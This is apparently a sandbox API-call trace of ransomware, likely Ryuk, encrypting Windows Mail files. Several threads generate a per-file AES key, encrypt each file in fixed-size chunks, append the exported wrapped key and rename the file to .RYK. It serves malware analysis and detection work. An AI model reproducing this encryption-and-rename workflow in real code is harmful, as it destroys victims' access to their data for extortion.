	[0267.398] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3652
	os_tid = 0x3e88

	[0267.399] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", dwFileAttributes=0x80) returned 0
	[0267.399] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.399] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\edb00001.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3653
	os_tid = 0x3e8c

	[0267.660] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0267.660] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.661] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3654
	os_tid = 0x3e90

	[0267.662] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat", dwFileAttributes=0x80) returned 0
	[0267.662] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.662] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3655
	os_tid = 0x3e94

	[0267.663] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk", dwFileAttributes=0x80) returned 1
	[0267.664] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0267.664] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x913f8f8 | out: lpFileSize=0x913f8f8*=8192) returned 1
	[0267.664] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x913f908 | out: lpFileSize=0x913f908*=8192) returned 1
	[0267.664] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x1ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0267.664] ReadFile (in: hFile=0x76c, lpBuffer=0x913f950, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x913f8c0, lpOverlapped=0x0 | out: lpBuffer=0x913f950*, lpNumberOfBytesRead=0x913f8c0*=0x19, lpOverlapped=0x0) returned 1
	[0267.667] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.667] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x913f8d8 | out: phKey=0x913f8d8*=0x3f7d20) returned 1
	[0267.667] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.667] ReadFile (in: hFile=0x76c, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x913f8e4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x913f8e4*=0x2000, lpOverlapped=0x0) returned 1
	[0267.668] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x913f8e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x913f8e0*=0xf4250) returned 1
	[0267.668] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x913f8e8*=0x2000, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x913f8e8*=0x2010) returned 1
	[0267.668] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.668] WriteFile (in: hFile=0x76c, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x913f8e4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x913f8e4*=0x2010, lpOverlapped=0x0) returned 1
	[0267.669] WriteFile (in: hFile=0x76c, lpBuffer=0x913f910*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x913f8f0, lpOverlapped=0x0 | out: lpBuffer=0x913f910*, lpNumberOfBytesWritten=0x913f8f0*=0x6, lpOverlapped=0x0) returned 1
	[0267.669] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x913f900 | out: pbData=0x0*, pdwDataLen=0x913f900*=0x10c) returned 1
	[0267.669] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x913f970, pdwDataLen=0x913f900 | out: pbData=0x913f970*, pdwDataLen=0x913f900*=0x10c) returned 1
	[0267.669] WriteFile (in: hFile=0x76c, lpBuffer=0x913f970*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x913f8f0, lpOverlapped=0x0 | out: lpBuffer=0x913f970*, lpNumberOfBytesWritten=0x913f8f0*=0x10c, lpOverlapped=0x0) returned 1
	[0267.669] CloseHandle (hObject=0x76c) returned 1
	[0267.671] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0267.671] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3656
	os_tid = 0x3e98

	[0267.676] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log", dwFileAttributes=0x80) returned 1
	[0267.677] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0267.677] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x94df7f8 | out: lpFileSize=0x94df7f8*=2097152) returned 1
	[0267.677] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x94df808 | out: lpFileSize=0x94df808*=2097152) returned 1
	[0267.677] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0267.677] ReadFile (in: hFile=0x76c, lpBuffer=0x94df850, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x94df7c0, lpOverlapped=0x0 | out: lpBuffer=0x94df850*, lpNumberOfBytesRead=0x94df7c0*=0x19, lpOverlapped=0x0) returned 1
	[0267.680] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.680] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x94df7d8 | out: phKey=0x94df7d8*=0x3f7d20) returned 1
	[0267.680] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.680] ReadFile (in: hFile=0x76c, lpBuffer=0x3080000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x94df7e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.699] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4240) returned 1
	[0267.699] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x94df7e8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3080000*, pdwDataLen=0x94df7e8*=0xf4240) returned 1
	[0267.705] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.705] WriteFile (in: hFile=0x76c, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x94df7e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.727] SetFilePointer (in: hFile=0x76c, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0267.727] ReadFile (in: hFile=0x76c, lpBuffer=0x3080000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x94df7e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.144] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4240) returned 1
	[0268.144] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x94df7e8*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3080000*, pdwDataLen=0x94df7e8*=0xf4240) returned 1
	[0268.150] SetFilePointer (in: hFile=0x76c, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.150] WriteFile (in: hFile=0x76c, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x94df7e4*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.156] SetFilePointer (in: hFile=0x76c, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.156] ReadFile (in: hFile=0x76c, lpBuffer=0x3080000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x94df7e4*=0x17b80, lpOverlapped=0x0) returned 1
	[0268.536] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94df7e0*=0xf4250) returned 1
	[0268.536] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x94df7e8*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x94df7e8*=0x17b90) returned 1
	[0268.537] SetFilePointer (in: hFile=0x76c, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.537] WriteFile (in: hFile=0x76c, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x94df7e4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x94df7e4*=0x17b90, lpOverlapped=0x0) returned 1
	[0268.558] WriteFile (in: hFile=0x76c, lpBuffer=0x94df810*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x94df7f0, lpOverlapped=0x0 | out: lpBuffer=0x94df810*, lpNumberOfBytesWritten=0x94df7f0*=0x6, lpOverlapped=0x0) returned 1
	[0268.559] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x94df800 | out: pbData=0x0*, pdwDataLen=0x94df800*=0x10c) returned 1
	[0268.559] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x94df870, pdwDataLen=0x94df800 | out: pbData=0x94df870*, pdwDataLen=0x94df800*=0x10c) returned 1
	[0268.559] WriteFile (in: hFile=0x76c, lpBuffer=0x94df870*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x94df7f0, lpOverlapped=0x0 | out: lpBuffer=0x94df870*, lpNumberOfBytesWritten=0x94df7f0*=0x10c, lpOverlapped=0x0) returned 1
	[0268.559] CloseHandle (hObject=0x76c) returned 1
	[0273.834] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0273.834] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3657
	os_tid = 0x3e9c

	[0267.769] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log", dwFileAttributes=0x80) returned 1
	[0267.770] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8
	[0267.770] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x962f698 | out: lpFileSize=0x962f698*=2097152) returned 1
	[0267.770] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x962f6a8 | out: lpFileSize=0x962f6a8*=2097152) returned 1
	[0267.770] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0267.770] ReadFile (in: hFile=0x7e8, lpBuffer=0x962f6f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x962f660, lpOverlapped=0x0 | out: lpBuffer=0x962f6f0*, lpNumberOfBytesRead=0x962f660*=0x19, lpOverlapped=0x0) returned 1
	[0267.773] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.773] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x962f678 | out: phKey=0x962f678*=0x3f7d90) returned 1
	[0267.773] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.773] ReadFile (in: hFile=0x7e8, lpBuffer=0x3180000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x962f684*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.800] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x962f680*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x962f680*=0xf4240) returned 1
	[0267.800] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x962f688*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3180000*, pdwDataLen=0x962f688*=0xf4240) returned 1
	[0267.806] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.806] WriteFile (in: hFile=0x7e8, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x962f684*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.811] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0267.811] ReadFile (in: hFile=0x7e8, lpBuffer=0x3180000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x962f684*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.191] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x962f680*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x962f680*=0xf4240) returned 1
	[0268.191] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x962f688*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3180000*, pdwDataLen=0x962f688*=0xf4240) returned 1
	[0268.197] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.197] WriteFile (in: hFile=0x7e8, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x962f684*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.204] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.204] ReadFile (in: hFile=0x7e8, lpBuffer=0x3180000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x962f684*=0x17b80, lpOverlapped=0x0) returned 1
	[0268.581] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x962f680*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x962f680*=0xf4250) returned 1
	[0268.581] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x962f688*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x962f688*=0x17b90) returned 1
	[0268.582] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.582] WriteFile (in: hFile=0x7e8, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x962f684, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x962f684*=0x17b90, lpOverlapped=0x0) returned 1
	[0268.606] WriteFile (in: hFile=0x7e8, lpBuffer=0x962f6b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x962f690, lpOverlapped=0x0 | out: lpBuffer=0x962f6b0*, lpNumberOfBytesWritten=0x962f690*=0x6, lpOverlapped=0x0) returned 1
